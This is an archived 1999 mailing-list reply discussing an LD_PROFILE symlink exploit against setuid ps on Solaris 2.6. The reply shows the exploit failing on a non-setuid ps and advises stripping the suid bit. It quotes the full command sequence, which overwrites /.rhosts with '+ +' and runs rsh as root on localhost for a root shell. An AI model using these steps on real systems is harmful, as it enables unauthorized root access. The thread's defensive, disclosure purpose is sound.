On Thu, Sep 23, 1999 at 04:43:51PM -0500, Brock Sides wrote: This is a perfect example of Sun being silly. /usr/bin/ps has no need that i've found for being setuid root. It hasn't been suid for ages on my system, and it still functions as ps should (even -e works, which i'm rather irritated by, since this is privacy-defeating, and un-suid'ing /usr/bin/ps on 2.5.1 works as expected (breaks -e) *and* un-suid'ing /usr/ucb/ps DOES achieve the desired effect (breaks -a) on 2.6. but anyway..... > > works on solaris 2.6 sparc anyway... $ uname -a SunOS spork 5.6 Generic_105181-14 sun4u sparc SUNW,Ultra-4 $ ls -l /usr/bin/ps -r-xr-xr-x 1 root sys 26372 Jul 16 1997 /usr/bin/ps > > ln -s /.rhosts /var/tmp/ps.profile > > export LD_PROFILE=/usr/bin/ps > > /usr/bin/ps $ /usr/bin/ps /var/tmp/ps.profile: open failed: Permission denied PID TTY TIME CMD 20067 pts/1 0:00 bash 20087 pts/1 0:00 ps > > echo + + > /.rhosts > > rsh -l root localhost csh -i and of course, these fail, as the user wasn't able to cause ps to do anything out of the ordinary. I suggest stripping the suid bits on ps on your 2.6 machine. I have yet to find a case where the users notice the difference, as /proc/* is mode 511 and /proc/*/psinfo is mode 444. I'm sure there's some function of ps that this method breaks, but for the most part, 2.6's /usr/bin/ps is unaffected by the change. (Which, as I stated above, is a loss in my application anyway, but I realize most people don't see it this way.) -- Erik Fichtner; Warrior SysAdmin (emf|techs) http://www.obfuscation.org/~techs N 38 53.055' W 77 21.860' 764 ft.
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:05:05 PDT